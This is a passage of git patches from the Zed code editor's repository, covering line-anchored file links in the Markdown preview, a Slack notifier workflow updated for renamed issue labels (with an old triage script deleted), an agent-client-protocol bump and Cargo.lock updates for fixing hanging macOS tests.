     url: SharedString,
+    fragment: Option<SharedString>,
     base_directory: Option<PathBuf>,
     workspace: &WeakEntity<Workspace>,
     window: &mut Window,
     cx: &mut App,
 ) {
-    let (path_text, _) = split_preview_url(url.as_ref());
-
-    // URL-decode the path for proper handling of encoded characters
-    let decoded_path = urlencoding::decode(path_text).unwrap_or_else(|_| Cow::Borrowed(path_text));
+    let decoded_path = urlencoding::decode(&url).unwrap_or_else(|_| Cow::Borrowed(&url));
+
+    if let Some(row) = fragment
+        .as_deref()
+        .and_then(|fragment| fragment.strip_prefix('L'))
+        .and_then(source_position_from_fragment)
+        .map(|(row, _)| row)
+        && open_preview_path_at_line(
+            decoded_path.to_string(),
+            base_directory.clone(),
+            workspace,
+            row,
+            window,
+            cx,
+        )
+    {
+        return;
+    }
 
     if let Some(workspace) = workspace.upgrade() {
         workspace.update(cx, |workspace, cx| {
@@ -1096,11 +1114,75 @@ fn open_preview_url(
     }
 }
 
-fn split_preview_url(url: &str) -> (&str, Option<&str>) {
-    match url.split_once('#') {
-        Some((path, fragment)) => (path, Some(fragment)),
-        None => (url, None),
-    }
+enum PreviewPathTarget {
+    Project(ProjectPath),
+    Absolute(PathBuf),
+}
+
+fn open_preview_path_at_line(
+    path: String,
+    base_directory: Option<PathBuf>,
+    workspace: &WeakEntity<Workspace>,
+    row: u32,
+    window: &mut Window,
+    cx: &mut App,
+) -> bool {
+    let Some(workspace) = workspace.upgrade() else {
+        return false;
+    };
+    let project = workspace.read(cx).project().clone();
+    let path_style = project.read(cx).path_style(cx);
+    let target = if path_style.is_absolute(&path) {
+        Some(PreviewPathTarget::Absolute(PathBuf::from(path)))
+    } else if project.read(cx).is_local()
+        && let Some(resolved) = base_directory
+            .as_deref()
+            .map(|base_directory| base_directory.join(&path))
+        && resolved.exists()
+    {
+        Some(PreviewPathTarget::Absolute(resolved))
+    } else {
+        project
+            .update(cx, |project, cx| project.find_project_path(&path, cx))
+            .map(PreviewPathTarget::Project)
+    };
+    let Some(target) = target else {
+        return false;
+    };
+
+    let task = workspace.update(cx, |workspace, cx| match target {
+        PreviewPathTarget::Project(project_path) => {
+            workspace.open_path(project_path, None, true, window, cx)
+        }
+        PreviewPathTarget::Absolute(abs_path) => workspace.open_abs_path(
+            abs_path,
+            workspace::OpenOptions {
+                focus: Some(true),
+                ..Default::default()
+            },
+            window,
+            cx,
+        ),
+    });
+    window
+        .spawn(cx, async move |cx| {
+            let item = task.await?;
+            let Some(editor) = item.downcast::<Editor>() else {
+                return anyhow::Ok(());
+            };
+            editor.update_in(cx, |editor, window, cx| {
+                let point = Point::new(row, 0);
+                editor.change_selections(
+                    SelectionEffects::scroll(Autoscroll::center()),
+                    window,
+                    cx,
+                    |selections| selections.select_ranges([point..point]),
+                );
+            })?;
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+    true
 }
 
 fn resolve_preview_image(
@@ -1721,6 +1803,8 @@ mod tests {
     use buffer_diff::BufferDiff;
     use editor::Editor;
     use gpui::{AppContext as _, Entity, Focusable as _, TestAppContext, WindowHandle};
+    use language::Point;
+    use project::{FakeFs, Project};
     use serde_json::json;
     use std::path::PathBuf;
     use std::sync::Arc;
@@ -1733,7 +1817,7 @@ mod tests {
         AppState, ItemId, MultiWorkspace, SaveIntent, Workspace, WorkspaceId, open_paths,
     };
 
-    use super::MarkdownPreviewView;
+    use super::{MarkdownPreviewView, open_preview_url};
 
     #[test]
     fn resolves_workspace_absolute_preview_image_path_and_rejects_missing() {
@@ -1762,6 +1846,47 @@ mod tests {
         assert!(missing.is_none());
     }
 
+    #[gpui::test]
+    async fn opens_preview_file_link_at_line(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({"src": {"main.rs": "first\nsecond\nthird\n"}}),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace =
+            multi_workspace.read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone());
+        let workspace_weak = workspace.downgrade();
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "src/main.rs".into(),
+                Some("L2".into()),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<Editor>())
+                .expect("file should be open in an editor")
+        });
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(editor.selections.newest::<Point>(&snapshot).head().row, 1);
+        });
+    }
+
     #[gpui::test]
     async fn toggles_task_checkbox_and_saves_when_preview_is_active(cx: &mut TestAppContext) {
         let app_state = init_test(cx);
diff --git a/crates/util/src/markdown.rs b/crates/util/src/markdown.rs
index e42ce13b59b8d9..8c45f98bf862db 100644
--- a/crates/util/src/markdown.rs
+++ b/crates/util/src/markdown.rs
@@ -57,6 +57,23 @@ pub fn split_local_url_fragment(url: &str) -> (&str, Option<&str>) {
     }
 }
 
+pub fn source_position_from_fragment(fragment: &str) -> Option<(u32, u32)> {
+    let fragment = fragment.strip_prefix('L').unwrap_or(fragment);
+    let (line, column) = match fragment.split_once([',', ':']) {
+        Some((line, column)) => (line, Some(column)),
+        None => (
+            fragment.split_once('-').map_or(fragment, |(line, _)| line),
+            None,
+        ),
+    };
+    let line = line.parse::<u32>().ok()?.checked_sub(1)?;
+    let column = column
+        .and_then(|column| column.parse::<u32>().ok())
+        .and_then(|column| column.checked_sub(1))
+        .unwrap_or(0);
+    Some((line, column))
+}
+
 /// Indicates that the wrapped `String` is markdown text.
 #[derive(Debug, Clone)]
 pub struct MarkdownString(pub String);
@@ -350,6 +367,18 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_source_position_from_fragment() {
+        assert_eq!(source_position_from_fragment("9,16"), Some((8, 15)));
+        assert_eq!(source_position_from_fragment("33,33"), Some((32, 32)));
+        assert_eq!(source_position_from_fragment("L42"), Some((41, 0)));
+        assert_eq!(source_position_from_fragment("L42:7"), Some((41, 6)));
+        assert_eq!(source_position_from_fragment("5"), Some((4, 0)));
+        assert_eq!(source_position_from_fragment("L10-L20"), Some((9, 0)));
+        assert_eq!(source_position_from_fragment("heading"), None);
+        assert_eq!(source_position_from_fragment("0,0"), None);
+    }
+
     #[test]
     fn test_generate_heading_slug() {
         assert_eq!(generate_heading_slug("Hello World"), "hello-world");

From a736da2a80964cf1b2f605bd7e8805f8da1acc52 Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Tue, 21 Jul 2026 15:04:45 +0000
Subject: [PATCH 606/772] Update first responders notifier for repo label
 rename (#61402)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`priority:*` labels in the github repository are becoming `severity:*`,
and `frequency:*` — `reach:*`. This commit will update the slack
notifications for the first responders accordingly.

Also, delete the github-label-issues-to-triage.py one-off script, which
worked with the old label names and is by now too distant in the past to
be useful as reference or anything.

Release Notes:

- N/A
---
 .../slack_notify_first_responders.yml         | 22 ++---
 script/github-label-issues-to-triage.py       | 93 -------------------
 2 files changed, 11 insertions(+), 104 deletions(-)
 delete mode 100755 script/github-label-issues-to-triage.py

diff --git a/.github/workflows/slack_notify_first_responders.yml b/.github/workflows/slack_notify_first_responders.yml
index c8d970451ddf65..a15c7b9c0f04ee 100644
--- a/.github/workflows/slack_notify_first_responders.yml
+++ b/.github/workflows/slack_notify_first_responders.yml
@@ -8,9 +8,9 @@ permissions:
   contents: read
 
 env:
-  PRIORITY_LABELS: '["priority:P0", "priority:P1"]'
+  SEVERITY_LABELS: '["severity:S0", "severity:S1"]'
   REPRODUCIBLE_LABEL: 'state:reproducible'
-  FREQUENCY_LABELS: '["frequency:always", "frequency:common"]'
+  REACH_LABELS: '["reach:all users", "reach:many users"]'
   MARKER_REACTION: 'eyes'
 
 jobs:
@@ -47,10 +47,10 @@ jobs:
 
           # Ignore labels outside the trifecta so unrelated later edits don't re-fire.
           TRIGGER_LABELS=$(jq -cn \
-            --argjson priority "$PRIORITY_LABELS" \
+            --argjson severity "$SEVERITY_LABELS" \
             --arg repro "$REPRODUCIBLE_LABEL" \
-            --argjson freq "$FREQUENCY_LABELS" \
-            '$priority + [$repro] + $freq')
+            --argjson reach "$REACH_LABELS" \
+            '$severity + [$repro] + $reach')
 
           if ! echo "$TRIGGER_LABELS" | jq -e --arg l "$LABEL_NAME" 'index($l) != null' > /dev/null; then
             echo "Added label '$LABEL_NAME' is not in the trigger set, skipping"
@@ -61,12 +61,12 @@ jobs:
           # The webhook's issue.labels snapshot is racy under bulk apply; read live.
           ISSUE_LABELS_JSON=$(api -f "https://api.github.com/repos/$GH_REPO/issues/$ISSUE_NUMBER/labels?per_page=100" | jq '[.[].name]')
 
-          MATCHED_PRIORITY=$(echo "$ISSUE_LABELS_JSON" | jq -r --argjson priority "$PRIORITY_LABELS" 'map(select(. as $x | $priority | index($x) != null)) | first // ""')
+          MATCHED_SEVERITY=$(echo "$ISSUE_LABELS_JSON" | jq -r --argjson severity "$SEVERITY_LABELS" 'map(select(. as $x | $severity | index($x) != null)) | first // ""')
           HAS_REPRO=$(echo "$ISSUE_LABELS_JSON" | jq --arg l "$REPRODUCIBLE_LABEL" 'index($l) != null')
-          HAS_FREQ=$(echo "$ISSUE_LABELS_JSON" | jq --argjson freq "$FREQUENCY_LABELS" 'any(.[]; . as $x | $freq | index($x) != null)')
+          HAS_REACH=$(echo "$ISSUE_LABELS_JSON" | jq --argjson reach "$REACH_LABELS" 'any(.[]; . as $x | $reach | index($x) != null)')
 
-          if [ -z "$MATCHED_PRIORITY" ] || [ "$HAS_REPRO" != "true" ] || [ "$HAS_FREQ" != "true" ]; then
-            echo "Combination not yet satisfied (priority=$MATCHED_PRIORITY, reproducible=$HAS_REPRO, frequency=$HAS_FREQ), skipping"
+          if [ -z "$MATCHED_SEVERITY" ] || [ "$HAS_REPRO" != "true" ] || [ "$HAS_REACH" != "true" ]; then
+            echo "Combination not yet satisfied (severity=$MATCHED_SEVERITY, reproducible=$HAS_REPRO, reach=$HAS_REACH), skipping"
             echo "should_notify=false" >> "$GITHUB_OUTPUT"
             exit 0
           fi
@@ -96,9 +96,9 @@ jobs:
           REACTION_ID=$(echo "$REACTION_BODY" | jq -r '.id')
           LABELS=$(echo "$ISSUE_LABELS_JSON" | jq -r 'join(", ")')
 
-          echo "Confirmed high-frequency $MATCHED_PRIORITY, notifying"
+          echo "Confirmed high-reach $MATCHED_SEVERITY, notifying"
           {
-            echo "notify_reason=confirmed $MATCHED_PRIORITY"
+            echo "notify_reason=confirmed $MATCHED_SEVERITY"
             echo "issue_labels=$LABELS"
             echo "reaction_id=$REACTION_ID"
             echo "should_notify=true"
diff --git a/script/github-label-issues-to-triage.py b/script/github-label-issues-to-triage.py
deleted file mode 100755
index 9a7274a4aa3e20..00000000000000
--- a/script/github-label-issues-to-triage.py
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/usr/bin/env python3
-"""Add `state:needs triage` label to open GitHub issues of types Bug and Crash
-if they're missing area, priority, or frequency labels. Don't touch issues
-with an assignee or another `state:` label.
-
-Requires `requests` library and a GitHub access token with "Issues (write)"
-permission passed as an environment variable. Was used as a quick-and-dirty
-one-off-bulk-operation script to surface older untriaged issues in the `zed`
-repository. Leaving it here for reference only; there's no error handling or
-guardrails, you've been warned.
-"""
-
-import itertools
-import logging
-import os
-
-import requests
-
-
-logging.basicConfig(level=logging.INFO)
-log = logging.getLogger(__name__)
-
-GITHUB_API_BASE_URL = "https://api.github.com"
-REPO_OWNER = "zed-industries"
-REPO_NAME = "zed"
-GITHUB_TOKEN = os.getenv("GITHUB_TOKEN")
-HEADERS = {
-    "Authorization": f"token {GITHUB_TOKEN}",
-    "Accept": "application/vnd.github+json"
-}
-REQUIRED_LABELS_PREFIXES = ["area:", "priority:", "frequency:"]
-NEEDS_TRIAGE_LABEL = "state:needs triage"
-
-
-def get_open_issues(repo, issue_type):
-    """Get open issues of certain type(s) via GitHub's REST API."""
-    issues = []
-    issues_url = f"{GITHUB_API_BASE_URL}/repos/{REPO_OWNER}/{repo}/issues"
-
-    log.info("Start fetching open issues from the GitHub API.")
-    params = {
-        "state": "open",
-        "type": issue_type,
-        "page": 1,
-        "per_page": 100, # worked fine despite the docs saying 30
-    }
-    while True:
-        response = requests.get(issues_url, headers=HEADERS, params=params)
-        response.raise_for_status()
-        issues.extend(response.json())
-        log.info(f"Fetched the next page, total issues so far: {len(issues)}.")
-
-        # is there a next page?
-        link_header = response.headers.get('Link', '')
-        if 'rel="next"' not in link_header:
-            break
-        params['page'] += 1
-
-    log.info("Done fetching issues.")
-    return issues
-
-
-def is_untriaged(issue):
-    issue_labels = [label['name'] for label in issue['labels']]
-    # don't want to overwrite existing state labels
-    no_state_label = not any(label.startswith('state:') for label in issue_labels)
-    # we want at least one label for each of the required prefixes
-    has_all_required_labels = all(
-        any(label.startswith(prefix) for label in issue_labels)
-        for prefix in REQUIRED_LABELS_PREFIXES
-    )
-    # let's also assume if we managed to assign an issue it's triaged enough
-    no_assignee = not issue['assignee']
-    return no_state_label and no_assignee and not has_all_required_labels
-
-
-def label_issues(issues, label):
-    for issue in issues:
-        log.debug(f"Processing issue {issue['number']}.")
-        api_url_add_label = f"{GITHUB_API_BASE_URL}/repos/{REPO_OWNER}/{REPO_NAME}/issues/{issue['number']}/labels"
-        add_response = requests.post(
-            api_url_add_label, headers=HEADERS, json={"labels": [label]}
-        )
-        add_response.raise_for_status()
-        log.info(f"Added label '{label}' to issue {issue['title']}.")
-
-
-if __name__ == "__main__":
-    open_bugs = get_open_issues(REPO_NAME, "Bug")
-    open_crashes = get_open_issues(REPO_NAME, "Crash")
-    untriaged_issues = filter(
-        is_untriaged, itertools.chain(open_bugs, open_crashes))
-    label_issues(untriaged_issues, label=NEEDS_TRIAGE_LABEL)

From f15a3ef4529d20ac3779d6c384417d99203c6de7 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Tue, 21 Jul 2026 16:40:37 +0000
Subject: [PATCH 607/772] acp: Update agent-client-protocol to 1.3.0 (#61404)

Brings in some bug fixes from upstream.

Release Notes:

- N/A
---
 Cargo.lock | 10 ++++++----
 Cargo.toml |  2 +-
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 97e65a3d0c2776..b0a4d26dcc7ce5 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -323,17 +323,19 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "1.1.0"
+version = "1.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed34c8297a72c9d99fc7493ba6370f45c69fdcd51fdfb469d80f266cf63e5a98"
+checksum = "1d386d6a58f4dbe0ebfa98e915caa54005dabdefd419de3d4678b28cd5752444"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
+ "async-io",
  "async-process",
  "blocking",
  "futures 0.3.32",
  "futures-concurrency",
  "rustc-hash 2.1.1",
+ "rustix 1.1.2",
  "schemars 1.0.4",
  "serde",
  "serde_json",
@@ -345,9 +347,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "1.1.0"
+version = "1.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0de0877cd41073fa0a124edb972df0d02e88c70adde11f49cf2231fd63aae738"
+checksum = "97b94934d118a69e921d14e94d4af5b3076563318c52662c89a0ecb3f139e1da"
 dependencies = [
  "quote",
  "syn 2.0.117",
diff --git a/Cargo.toml b/Cargo.toml
index 16cbb766091f52..2dcb410a8fecce 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -512,7 +512,7 @@ accesskit = { version = "0.24.0", features = ["enumn"] }
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=1.1.0", features = ["unstable"] }
+agent-client-protocol = { version = "=1.3.0", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"

From 88447e9b9c8a91180ba0f6d7a19aed95a7b24794 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 21 Jul 2026 16:52:46 +0000
Subject: [PATCH 608/772] Fix the macOS tests that hang locally (#61407)

See also https://github.com/zed-industries/notify/pull/9

<img width="2088" height="266" alt="image"
src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db"
/>

Release Notes:

- N/A
---
 Cargo.lock                      | 230 ++++++++++++++++----------------
 Cargo.toml                      |   4 +-
 crates/fs/src/fs_watcher.rs     |  48 +++----
 crates/worktree/src/worktree.rs |  67 +++++++++-
 4 files changed, 205 insertions(+), 144 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b0a4d26dcc7ce5..417b6eda0818c5 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -621,7 +621,7 @@ version = "0.26.1-dev"
 source = "git+https://github.com/zed-industries/alacritty?rev=4c129667ce56611becdc82de6e28218c80e2e88f#4c129667ce56611becdc82de6e28218c80e2e88f"
 dependencies = [
  "base64 0.22.1",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "home",
  "libc",
  "log",
@@ -676,7 +676,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7c88dbbce13b232b26250e1e2e6ac18b6a891a646b8148285036ebce260ac5c3"
 dependencies = [
  "alsa-sys",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "libc",
 ]
@@ -2207,7 +2207,7 @@ version = "0.71.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5f58bf3d7db68cfbac37cfc485a8d711e87e064c3d0fe0435b92f7a407f9d6b3"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cexpr",
  "clang-sys",
  "itertools 0.11.0",
@@ -2227,7 +2227,7 @@ version = "0.72.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cexpr",
  "clang-sys",
  "itertools 0.11.0",
@@ -2298,9 +2298,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
 [[package]]
 name = "bitflags"
-version = "2.10.0"
+version = "2.13.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
+checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da"
 dependencies = [
  "serde_core",
 ]
@@ -2711,7 +2711,7 @@ name = "calloop"
 version = "0.14.3"
 source = "git+https://github.com/zed-industries/calloop#eb6b4fd17b9af5ecc226546bdd04185391b3e265"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "polling",
  "rustix 1.1.2",
  "slab",
@@ -3333,7 +3333,7 @@ version = "0.26.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f79398230a6e2c08f5c9760610eb6924b52aa9e7950a619602baba59dcbbdbb2"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block",
  "cocoa-foundation 0.2.0",
  "core-foundation 0.10.0",
@@ -3363,7 +3363,7 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e14045fb83be07b5acf1c0884b2180461635b433455fa35d1cd6f17f1450679d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block",
  "core-foundation 0.10.0",
  "core-graphics-types 0.2.0",
@@ -3966,7 +3966,7 @@ version = "0.24.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.10.0",
  "core-graphics-types 0.2.0",
  "foreign-types 0.5.0",
@@ -3979,7 +3979,7 @@ version = "0.24.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "32eb7c354ae9f6d437a6039099ce7ecd049337a8109b23d73e48e8ffba8e9cd5"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.9.4",
  "core-graphics-types 0.1.3",
  "foreign-types 0.5.0",
@@ -4003,7 +4003,7 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.10.0",
  "libc",
 ]
@@ -4014,7 +4014,7 @@ version = "0.5.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4416167a69126e617f8d0a214af0e3c1dbdeffcb100ddf72dcd1a1ac9893c146"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block",
  "cfg-if",
  "core-foundation 0.10.0",
@@ -4114,7 +4114,7 @@ version = "0.19.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "be17b688510d934ce13f48a2beba700e11583e281e0fda99c22bb256a14eda73"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "fontdb",
  "harfrust",
  "linebender_resource_handle",
@@ -4986,7 +4986,7 @@ name = "debugger_ui"
 version = "0.1.0"
 dependencies = [
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "client",
  "collections",
  "command_palette_hooks",
@@ -5304,7 +5304,7 @@ dependencies = [
  "libc",
  "option-ext",
  "redox_users 0.5.2",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -5330,7 +5330,7 @@ version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1e0e367e4e7da84520dedcac1901e4da967309406d1e51017ae1abfb97adbd38"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "libc",
  "objc2 0.6.3",
@@ -6113,7 +6113,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -7331,7 +7331,7 @@ dependencies = [
  "gobject-sys",
  "libc",
  "system-deps",
- "windows-sys 0.61.2",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -7590,7 +7590,7 @@ version = "0.21.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "16de123c2e6c90ce3b573b7330de19be649080ec612033d397d72da265f1bd8b"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "futures-channel",
  "futures-core",
  "futures-executor",
@@ -7759,7 +7759,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b89c83349105e3732062a895becfc71a8f921bb71ecbbdd8ff99263e3b53a0ca"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "gpu-descriptor-types",
  "hashbrown 0.15.5",
 ]
@@ -7770,7 +7770,7 @@ version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fdf242682df893b86f33a73828fb09ca4b2d3bb6cc95249707fc684d27484b91"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -7783,7 +7783,7 @@ dependencies = [
  "async-task",
  "backtrace",
  "bindgen 0.71.1",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block",
  "cbindgen",
  "chrono",
@@ -7875,7 +7875,7 @@ dependencies = [
  "anyhow",
  "as-raw-xcb-connection",
  "ashpd",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "calloop",
  "calloop-wayland-source",
@@ -8226,7 +8226,7 @@ version = "0.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4f9f40651a03bc0f7316bd75267ff5767e93017ef3cfffe76c6aa7252cc5a31c"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "core_maths",
  "read-fonts 0.37.0",
@@ -8391,7 +8391,7 @@ version = "0.21.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bd54745cfacb7b97dee45e8fdb91814b62bccddb481debb7de0f9ee6b7bf5b43"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "byteorder",
  "heed-traits",
  "heed-types",
@@ -9092,7 +9092,7 @@ version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f37dccff2791ab604f9babef0ba14fbe0be30bd368dc541e2b08d07c8aa908f3"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "inotify-sys",
  "libc",
 ]
@@ -9608,9 +9608,9 @@ checksum = "e2db585e1d738fc771bf08a151420d3ed193d9d895a36df7f6f8a9456b911ddc"
 
 [[package]]
 name = "kqueue"
-version = "1.1.1"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eac30106d7dce88daf4a3fcb4879ea939476d5074a9b7ddd0fb97fa4bed5596a"
+checksum = "273c0752728918e0ac4976f2b275b6fefb9ecd400585dec929419f3844cd87b5"
 dependencies = [
  "kqueue-sys",
  "libc",
@@ -9618,11 +9618,11 @@ dependencies = [
 
 [[package]]
 name = "kqueue-sys"
-version = "1.0.4"
+version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b"
+checksum = "07293a4e297ac234359b510362495713f75ea345d5307140414f20c69ffeb087"
 dependencies = [
- "bitflags 1.3.2",
+ "bitflags 2.13.1",
  "libc",
 ]
 
@@ -10162,7 +10162,7 @@ version = "0.1.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "416f7e718bdb06000964960ffa43b4335ad4012ae8b99060261aa4a8088d5ccb"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "libc",
  "redox_syscall 0.5.18",
 ]
@@ -10504,7 +10504,7 @@ version = "2.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6888e8653f6e49cb2924c660fc367a8beeb6239b71e117fa082153c6ea44d427"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "cssparser 0.36.0",
  "encoding_rs",
@@ -11093,7 +11093,7 @@ version = "0.33.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c7047791b5bc903b8cd963014b355f71dc9864a9a0b727057676c1dcae5cbc15"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block",
  "core-graphics-types 0.2.0",
  "foreign-types 0.5.0",
@@ -11152,7 +11152,7 @@ version = "0.26.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2e16d10087ae9e375bad7a40e8ef5504bc08e808ccc6019067ff9de42a84570f"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "debugid",
  "num-derive",
  "num-traits",
@@ -11167,7 +11167,7 @@ version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0e1fc14d6ded915b8e850801465e7096f77ed60bf87e4e85878d463720d9dc4d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "byteorder",
  "cfg-if",
  "crash-context",
@@ -11269,7 +11269,7 @@ version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08"
 dependencies = [
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -11369,7 +11369,7 @@ checksum = "b2bf919621e7975acb27d881bae2fb993e0d45c8e0446e85e6272971e00dc8df"
 dependencies = [
  "arrayvec",
  "bit-set 0.9.1",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "cfg_aliases 0.2.1",
  "codespan-reporting",
@@ -11467,7 +11467,7 @@ version = "0.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "jni-sys",
  "log",
  "ndk-sys",
@@ -11513,7 +11513,7 @@ version = "0.28.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "cfg_aliases 0.1.1",
  "libc",
@@ -11525,7 +11525,7 @@ version = "0.29.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
